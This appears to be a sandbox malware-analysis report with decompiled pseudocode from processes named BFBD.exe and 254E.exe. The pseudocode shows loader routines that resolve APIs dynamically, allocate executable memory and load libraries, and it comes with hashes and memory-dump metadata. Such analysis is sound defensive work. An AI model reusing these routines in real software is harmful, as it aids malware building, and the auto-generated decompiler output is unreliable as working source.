						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						E0040193B(_t25, _t39,  *((intOrPtr*)(_t28 - 4)), _t18, _t23,  *((intOrPtr*)(_t21 + 0x8336)));
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t39);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t36 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t36, __fp0);
							_t37 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t37, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L8;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402c12
0x00402c12
0x00402c12
0x00402c12
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000014.00000002.400667578.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_B1B2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 591edc4c612f48173f805103314d01a2d3c18d9f074296c9ecf59b10e61bd19b
Instruction ID: 69eb8ccb3173368d7466cfbebad6b250e745b2528687b1428edbefbc5d99c229
Opcode Fuzzy Hash: 591edc4c612f48173f805103314d01a2d3c18d9f074296c9ecf59b10e61bd19b
Instruction Fuzzy Hash: 5001DE20518105FAFF01A6528F5A97E75699F01348F24007BAD42B52E2DBBD8F16AA2F

Uniqueness

Uniqueness Score: -1.00%

Function 00402C16, Relevance: .0, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 89%

			E00402C16(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				signed int _t25;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t33 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t33,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L6:
						_t38 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						E0040193B(_t25, _t38,  *((intOrPtr*)(_t28 - 4)), _t18, _t23,  *((intOrPtr*)(_t21 + 0x8336)));
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t38);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t35 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t35, __fp0);
							_t36 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t36, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L6;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402c16
0x00402c16
0x00402c16
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000014.00000002.400667578.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_B1B2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8375172ab2dc3a157800504cc046cabc4f04a32f5874d07e2e57d920b258b3e
Instruction ID: 22f91f3ad527b43ded7c43fe05e3e31a54a2160e6f7bd47ea20a36d237ffec38
Opcode Fuzzy Hash: b8375172ab2dc3a157800504cc046cabc4f04a32f5874d07e2e57d920b258b3e
Instruction Fuzzy Hash: 4401CC20518105F9FF01B7628F1A9BE75699F00348F24007BBC41B52E6DBBD8F15AA2E

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040DF48, Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0040DF6E

Part of subcall function 0040DD93: __fltout2.LIBCMT ref: 0040DDBF

__cftog_l.LIBCMT ref: 0040DF94
__cftoe_l.LIBCMT ref: 0040DFC6

Memory Dump Source

Source File: 00000014.00000002.400706379.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_409000_B1B2.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 371dcc409b8a9c37bc45af426a8add198d970d59fd773847fc00fd30e5f9ded3
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 7B11803280014EBBCF125EC4CC41CEE3F22BF19354B198426FA1968171C23AC9B5AB85

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: BFBD.exe PID: 6984 Parent PID: 3472 BFBD.exeCOMMON

Execution Graph

Execution Coverage:	5.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	12
Total number of Limit Nodes:	0

Executed Functions

Function 008FCF7D, Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Module32First.KERNEL32(00000000,00000224), ref: 008FCFC5

Memory Dump Source

Source File: 00000016.00000002.355899141.00000000008F8000.00000040.00000001.sdmp, Offset: 008F8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_8f8000_BFBD.jbxd

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 9c693d905438d01f7dc276f7861f2b654ac1040e02e05bc7a3e0696cb1e3088f
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 85F0C23110071D6FD7202AB8A98CA7EF6E9FF48324F100529E742D14C0CBB0E9054661

Uniqueness

Uniqueness Score: -1.00%

Function 008FCC3C, Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 008FCC8D

Memory Dump Source

Source File: 00000016.00000002.355899141.00000000008F8000.00000040.00000001.sdmp, Offset: 008F8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_8f8000_BFBD.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: b0193d7425ff591562bb14dac486fc795e7e1416f4252bce0368696e8b983db8
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: F5113C79A00208EFDB01DF98CA85E98BBF5EF08350F058094FA489B362D771EA50DF80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: BFBD.exe PID: 7140 Parent PID: 6984 BFBD.exeCOMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	24
Total number of Limit Nodes:	0

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 00000018.00000002.366829882.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_BFBD.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000018.00000002.366829882.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_BFBD.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000018.00000002.366829882.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_BFBD.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Function 004027ED, Relevance: 1.5, APIs: 1, Instructions: 49
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E004027ED(void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				struct _OBJDIR_INFORMATION _v8;
				char _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t9;
				long _t12;
				void* _t16;
				intOrPtr _t18;
				intOrPtr _t19;
				void* _t20;
				void* _t21;
				void* _t23;
				UNICODE_STRING* _t24;
				intOrPtr* _t25;
				intOrPtr* _t26;

				_t9 = 0x2824;
				_t18 =  *_t25;
				_t26 = _t25 + 4;
				E004012AB(_t9, _t16, _t18, _t20, _t21, _t23, __eflags);
				_t17 = _a4;
				_t24 =  &_v16;
				 *((intOrPtr*)(_a4 + 0xc))(_t24, _a8, 0x53);
				_t22 =  &_v8;
				_t12 = LdrLoadDll(0, 0, _t24,  &_v8);
				_t29 = _t12;
				if(_t12 != 0) {
					_v8 = 0;
				}
				_push(0x53);
				_t19 =  *_t26;
				E004012AB(0x2824, _t17, _t19, _t20, _t22, _t24, _t29);
				return _v8;
			}

0x00402800
0x00402812
0x00402815
0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000018.00000001.354298299.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_1_400000_BFBD.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 7b811dfe18a2fa04bac5265394d9a2456aa6afd5894524daffa0ad136d012fbe
Instruction ID: 86d1809ebd5855410281f38b9c9c6c09a144d2210cd9b7f1e60e22e0793f0f49
Opcode Fuzzy Hash: 7b811dfe18a2fa04bac5265394d9a2456aa6afd5894524daffa0ad136d012fbe
Instruction Fuzzy Hash: CD01D43BA08105E7D6007A818A4DF6A7724EB50744F20C137A6077A1C0C5FC9A07E7BB

Uniqueness

Uniqueness Score: -1.00%

Function 0040280A, Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E0040280A(intOrPtr __ebx, HMODULE* __edi, UNICODE_STRING* __esi, void* __eflags) {
				void* __ebp;
				void* _t12;
				long _t15;
				intOrPtr _t18;
				intOrPtr _t19;
				void* _t20;
				UNICODE_STRING* _t23;
				void* _t25;
				intOrPtr* _t26;

				_t29 = __eflags;
				_t23 = __esi;
				_t21 = __edi;
				_t16 = __ebx;
				if(__eflags < 0) {
					if(__eflags >= 0) {
						__ecx = __ecx + 1;
						__eflags = __bl;
						_t12 = 0x2824;
					} else {
					}
					_t19 =  *_t26;
					_t26 = _t26 + 4;
					E004012AB(_t12, _t16, _t19, _t20, _t21, _t23, _t29);
					_t16 =  *((intOrPtr*)(_t25 + 8));
					_t23 = _t25 - 0xc;
					 *((intOrPtr*)( *((intOrPtr*)(_t25 + 8)) + 0xc))(_t23,  *((intOrPtr*)(_t25 + 0xc)), 0x53);
					_t21 = _t25 - 4;
					_t15 = LdrLoadDll(0, 0, _t23, _t25 - 4);
					_t30 = _t15;
					if(_t15 != 0) {
						 *(_t25 - 4) = 0;
					}
				}
				_push(0x53);
				_t18 =  *_t26;
				E004012AB(0x2824, _t16, _t18, _t20, _t21, _t23, _t30);
				return  *(_t25 - 4);
			}

0x0040280a
0x0040280a
0x0040280a
0x0040280a
0x0040280b
0x0040280d
0x00402803
0x00402804
0x00402800
0x0040280f
0x0040280f
0x00402812
0x00402815
0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402848
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000018.00000001.354298299.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_1_400000_BFBD.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 816e61236cf151029f9916b06356fa28e65bf4d83d8dd38ba6b14be9c999f240
Instruction ID: 9ca859c839910d9830ac79efeaa13c409ccf86f2f3a4ee59ee812277144ea7f3
Opcode Fuzzy Hash: 816e61236cf151029f9916b06356fa28e65bf4d83d8dd38ba6b14be9c999f240
Instruction Fuzzy Hash: B901843BA04105E7DA00BA819A4DBAE7764AB50704F10C57BE6077A1C5C6FC9607A76B

Uniqueness

Uniqueness Score: -1.00%

Function 0040281A, Relevance: 1.5, APIs: 1, Instructions: 38
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040281A(void* __eax, void* __ebx, void* __edi, void* __esi) {
				long _t12;
				intOrPtr _t19;
				intOrPtr _t20;
				void* _t21;
				UNICODE_STRING* _t26;
				void* _t28;
				intOrPtr* _t30;
				intOrPtr* _t31;
				void* _t34;

				_t34 = __eax - 0x90;
				_t19 =  *_t30;
				_t31 = _t30 + 4;
				E004012AB(__eax, __ebx, _t19, _t21, __edi, __esi, _t34);
				_t17 =  *((intOrPtr*)(_t28 + 8));
				_t26 = _t28 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t28 + 8)) + 0xc))(_t26,  *((intOrPtr*)(_t28 + 0xc)), 0x53);
				_t23 = _t28 - 4;
				_t12 = LdrLoadDll(0, 0, _t26, _t28 - 4);
				_t35 = _t12;
				if(_t12 != 0) {
					 *(_t28 - 4) = 0;
				}
				_push(0x53);
				_t20 =  *_t31;
				E004012AB(0x2824, _t17, _t20, _t21, _t23, _t26, _t35);
				return  *(_t28 - 4);
			}

0x0040281a
0x00402812
0x00402815
0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000018.00000001.354298299.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_1_400000_BFBD.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: ef76625e9fce4a99ac1b5c6db449950ac3397aa5a53fee84dab980023b8c3a58
Instruction ID: 04be1964ae6a2c4a8d34668d02d656748d1177ed5934df91e255a91300bf99b4
Opcode Fuzzy Hash: ef76625e9fce4a99ac1b5c6db449950ac3397aa5a53fee84dab980023b8c3a58
Instruction Fuzzy Hash: 58F0A43AA04105D7DB00BA81CA49B9D7720AB51704F10C57BE6067A1C4C6B99707E76B

Uniqueness

Uniqueness Score: -1.00%

Function 0040281E, Relevance: 1.5, APIs: 1, Instructions: 33
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040281E(void* __ebx, void* __ecx, void* __esi, void* __eflags) {
				void* __edi;
				void* _t9;
				long _t12;
				intOrPtr _t20;
				void* _t21;
				void* _t22;
				UNICODE_STRING* _t26;
				void* _t28;
				intOrPtr* _t30;

				E004012AB(_t9, __ebx, __ecx, _t21, _t22, __esi, __eflags);
				_t17 =  *((intOrPtr*)(_t28 + 8));
				_t26 = _t28 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t28 + 8)) + 0xc))(_t26,  *((intOrPtr*)(_t28 + 0xc)), _t22);
				_t23 = _t28 - 4;
				_t12 = LdrLoadDll(0, 0, _t26, _t28 - 4);
				_t34 = _t12;
				if(_t12 != 0) {
					 *(_t28 - 4) = 0;
				}
				_push(0x53);
				_t20 =  *_t30;
				E004012AB(0x2824, _t17, _t20, _t21, _t23, _t26, _t34);
				return  *(_t28 - 4);
			}

0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000018.00000001.354298299.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_1_400000_BFBD.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 65736493afcaf5b803b8217f4f0e2bcb43a663e8f28fff33dac9f311f6d1fd4a
Instruction ID: 3fd11184bcf92e870777245e351188805b8424fcd9c3dcde69815370b47807fd
Opcode Fuzzy Hash: 65736493afcaf5b803b8217f4f0e2bcb43a663e8f28fff33dac9f311f6d1fd4a
Instruction Fuzzy Hash: 9DF0303AA04105E7DB00BA91CA89B9E7770EB51714F10C16BE6067A1C4C6B89707E76B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: 254E.exe PID: 1268 Parent PID: 3472 254E.exeCOMMON

Executed Functions

Function 0040C2E0, Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 109
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040C2E0() {
				_Unknown_base(*)()* _t2;
				struct HINSTANCE__* _t3;
				_Unknown_base(*)()* _t4;
				CHAR* _t5;
				intOrPtr _t6;
				struct HINSTANCE__* _t8;
				CHAR* _t11;
				struct HINSTANCE__* _t13;
				CHAR* _t16;
				struct HINSTANCE__* _t18;
				CHAR* _t21;
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t26;
				CHAR* _t28;
				struct HINSTANCE__* _t29;
				struct HINSTANCE__* _t30;
				CHAR* _t31;
				struct HINSTANCE__* _t32;
				CHAR* _t33;
				struct HINSTANCE__* _t34;
				CHAR* _t35;
				struct HINSTANCE__* _t36;
				CHAR* _t37;
				CHAR* _t38;
				CHAR* _t39;
				intOrPtr _t40;
				struct HINSTANCE__* _t41;
				CHAR* _t42;
				struct HINSTANCE__* _t43;
				CHAR* _t44;
				struct HINSTANCE__* _t45;
				CHAR* _t46;
				struct HINSTANCE__* _t47;

				if( *0x41aa64 != 0) {
					_t6 =  *0x41a1f0; // 0x828b88
					_t30 =  *0x41aa64; // 0x75130000
					 *0x41aa14 = E0040C1B0(_t30, _t6);
					_t40 =  *0x41a474; // 0x827e48
					_t8 =  *0x41aa64; // 0x75130000
					 *0x41a970 = E0040C1B0(_t8, _t40);
					_t31 =  *0x41a718; // 0x828130
					_t41 =  *0x41aa64; // 0x75130000
					 *0x41aa8c = GetProcAddress(_t41, _t31);
					_t11 =  *0x41a33c; // 0x825100
					_t32 =  *0x41aa64; // 0x75130000
					 *0x41a88c = GetProcAddress(_t32, _t11);
					_t42 =  *0x41a5bc; // 0x8258a8
					_t13 =  *0x41aa64; // 0x75130000
					 *0x41aa68 = GetProcAddress(_t13, _t42);
					_t33 =  *0x41a4b0; // 0x828088
					_t43 =  *0x41aa64; // 0x75130000
					 *0x41a9cc = GetProcAddress(_t43, _t33);
					_t16 =  *0x41a4c8; // 0x827e78
					_t34 =  *0x41aa64; // 0x75130000
					 *0x41a9e4 = GetProcAddress(_t34, _t16);
					_t44 =  *0x41a7d4; // 0x827fe0
					_t18 =  *0x41aa64; // 0x75130000
					 *0x41a984 = GetProcAddress(_t18, _t44);
					_t35 =  *0x41a324; // 0x827ec0
					_t45 =  *0x41aa64; // 0x75130000
					 *0x41aa04 = GetProcAddress(_t45, _t35);
					_t21 =  *0x41a6f0; // 0x8280b8
					_t36 =  *0x41aa64; // 0x75130000
					 *0x41aa78 = GetProcAddress(_t36, _t21);
					_t46 =  *0x41a7b0; // 0x8258c8
					_t23 =  *0x41aa64; // 0x75130000
					 *0x41a9f4 = GetProcAddress(_t23, _t46);
					_t37 =  *0x41a218; // 0x825b28
					_t47 =  *0x41aa64; // 0x75130000
					 *0x41aaa0 = GetProcAddress(_t47, _t37);
					_t26 =  *0x41aa64; // 0x75130000
					 *0x41aa50 = GetProcAddress(_t26, "VirtualAllocExNuma");
				}
				_t28 =  *0x41a0f8; // 0x828058
				 *0x41a854 = LoadLibraryA(_t28);
				_t38 =  *0x41a658; // 0x827f98
				_t2 = LoadLibraryA(_t38); // executed
				 *0x41a934 = _t2;
				if( *0x41a854 != 0) {
					_t5 =  *0x41a594; // 0x827ed8
					_t29 =  *0x41a854; // 0x75530000
					_t2 = GetProcAddress(_t29, _t5);
					 *0x41a944 = _t2;
				}
				if( *0x41a934 != 0) {
					_t39 =  *0x41a0b8; // 0x8259e8
					_t3 =  *0x41a934; // 0x77730000
					_t4 = GetProcAddress(_t3, _t39);
					 *0x41a9e0 = _t4;
					return _t4;
				}
				return _t2;
			}

0x0040c2ea
0x0040c2f0
0x0040c2f6
0x0040c305
0x0040c30a
0x0040c311
0x0040c31f
0x0040c324
0x0040c32b
0x0040c338
0x0040c33d
0x0040c343
0x0040c350
0x0040c355
0x0040c35c
0x0040c368
0x0040c36d
0x0040c374
0x0040c381
0x0040c386
0x0040c38c
0x0040c399
0x0040c39e
0x0040c3a5
0x0040c3b1
0x0040c3b6
0x0040c3bd
0x0040c3ca
0x0040c3cf
0x0040c3d5
0x0040c3e2
0x0040c3e7
0x0040c3ee
0x0040c3fa
0x0040c3ff
0x0040c406
0x0040c413
0x0040c41d
0x0040c429
0x0040c429
0x0040c42e
0x0040c43b
0x0040c440
0x0040c447
0x0040c44d
0x0040c459
0x0040c45b
0x0040c461
0x0040c468
0x0040c46e
0x0040c46e
0x0040c47a
0x0040c47c
0x0040c483
0x0040c489
0x0040c48f
0x00000000
0x0040c48f
0x0040c495

APIs

GetProcAddress.KERNEL32(75130000,00828130), ref: 0040C332
GetProcAddress.KERNEL32(75130000,00825100), ref: 0040C34A
GetProcAddress.KERNEL32(75130000,008258A8), ref: 0040C362
GetProcAddress.KERNEL32(75130000,00828088), ref: 0040C37B
GetProcAddress.KERNEL32(75130000,00827E78), ref: 0040C393
GetProcAddress.KERNEL32(75130000,00827FE0), ref: 0040C3AB
GetProcAddress.KERNEL32(75130000,00827EC0), ref: 0040C3C4
GetProcAddress.KERNEL32(75130000,008280B8), ref: 0040C3DC
GetProcAddress.KERNEL32(75130000,008258C8), ref: 0040C3F4
GetProcAddress.KERNEL32(75130000,00825B28), ref: 0040C40D
GetProcAddress.KERNEL32(75130000,VirtualAllocExNuma), ref: 0040C423
LoadLibraryA.KERNEL32(00828058,?,00406B72), ref: 0040C435
LoadLibraryA.KERNELBASE(00827F98,?,00406B72), ref: 0040C447
GetProcAddress.KERNEL32(75530000,00827ED8), ref: 0040C468
GetProcAddress.KERNEL32(77730000,008259E8), ref: 0040C489

Strings

VirtualAllocExNuma, xrefs: 0040C418

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

